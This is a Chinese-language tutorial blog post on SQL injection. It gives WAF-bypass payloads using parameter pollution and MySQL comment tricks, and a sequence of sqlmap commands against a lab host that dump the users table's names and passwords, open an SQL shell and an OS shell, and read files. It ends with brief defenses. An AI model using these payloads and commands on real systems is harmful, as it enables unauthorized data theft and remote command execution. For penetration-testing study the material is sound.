目录
什么是SQL注入?
一,SQL注入会导致什么呢?
二,SQL注入思想与步骤
三,SQL注入的绕过
四,sqlmap工具的使用
五,sql注入的防御方法
总结
什么是SQL注入?
SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在应用程序的输入字段中插入恶意的SQL代码,在应用程序未授权的情况下执行任意的SQL语句。
一,SQL注入会导致什么呢?
1,数据泄露:我们的账号密码,个人身份信息的等等
2,数据篡改:篡改商品的价格,学生成绩等等
3,数据删除:删除某些数据
4,拒绝服务攻击(DoS):利用SQL注入制作大量查询和复杂的操作导致系统资源耗尽
5,提权攻击:利用SQL注入提升权限执行系统命令等
6,绕过身份验证:利用SQL注入绕过身份验证使得攻击者管理员特权身份
二,SQL注入思想与步骤
1,找到注入点
2,获取对方数据库名字
3,获取对方数据库中有那些表
4,获取表中有哪些字段
5,获取字段表中的数据
三,SQL注入的绕过
开启waf
注入sql代码:
union select 1,2,3,select database()
可以看到被防火墙拦截了
那么怎么办呢?
这种情况下get的提交方式不行,就用post加特殊字符过滤绕过检测
sql注入代码:
?id=1/**&id=-1%20union%20select%201,2,3,database/**/()%23*/
/**/在数据库中是注释符号,%20是空格,%23是#
web服务器 | 参数获取函数 | 获取到的参数 |
PHP/Apache | $_GET("par") | 最后一个 |
JSP/Tomcat | Request.getParameter("par") | 第一个 |
Perl(CGI)/Apache | Param("par") | 第一个 |
Python/Apache | Getvalue("par") | 所有的 |
ASP/IIS | Request.QueryString("par") | 所有的 |
利用数据库的特性
sql注入代码:
?id=-1%20union%20/*!44509select*/%201,2,3,4
四,sqlmap工具的使用
sqlmap 是一个开源的渗透测试工具,它能自动检测和利用SQL注入漏洞并接管数据库,现在非常强了,都能自动绕过waf了。
这是一个kali linux自带的工具
1,检测网站是否存在sql注入漏洞
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2'
2,查看当前数据库
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --current-db
3,查看数据库中有那些表
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt --tables
4,查看表中有那些字段
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt -T users --columns
5, 列出其中的数据
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' -D jrlt -T users -C name,password --dump
6,执行sql语句
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --sql-shell
7, 爆破数据库弱密码
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --password
8,执行系统命令
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --os-shell
9,读取系统文件
sqlmap -u 'http://192.168.0.107/bbs/showmessage.php?id=2' --file-read "D:\1.txt"
五,sql注入的防御方法
1,过滤
【1】限制参数的长度
【2】过滤掉恶意代码(例如:select,union,order by,update)
2,转义
把用户输入的数据当成文本
3,数据库安全控制
【1】设置权限
【2】数据加密
4,进行预编译
总结
时代在发展,科技在进步,在当下一日千里的时代我们今天学的东西明天可能就过时了,有时候绕过waf时非常轻松,但是过了一段时间发现同样的方法已经绕不过了,那咋办呢?凉拌?那当然是保持学习,与时俱进,网络安全不就是道高一尺魔高一丈嘛,网络安全技术在升级,我们也应当保持积极学习的心态,去挖掘其中的奥义,积极吸取他人的经验。